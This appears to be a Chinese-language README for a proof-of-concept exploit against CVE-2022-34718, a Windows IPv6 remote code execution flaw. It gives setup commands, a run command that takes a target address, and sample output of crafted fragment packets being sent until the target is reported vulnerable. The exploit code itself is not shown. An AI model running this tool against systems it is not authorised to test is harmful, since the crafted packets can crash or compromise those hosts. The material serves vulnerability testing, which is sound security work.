该仓库包含 CVE-2022-34718 的漏洞利用代码,这是一个针对 Windows 系统上 IPv6 的远程代码执行(RCE)漏洞。
由于该漏洞需要精心构造的 IPv6 数据包,因此依赖 Scapy 模块,并且需要以 root 权限运行。推荐通过虚拟环境运行此 PoC,如下所示:
# virtualenv PoC
# source PoC/bin/activate
(PoC) # pip3 install -r requirements.txt
(PoC) # python3 ipv6-rce-poc.py <目标地址>
该脚本会告知目标系统是否易受此漏洞攻击。
[...]
**** inner_frag_id: 0x24944eac
Preparing frags...
Sending 64 frags...
.
Sent 1 packets.
[...]
Sent 1 packets.
Now sending the last inner fragment to trigger the bug...
.
Sent 1 packets.
Success! The system is vulnerable...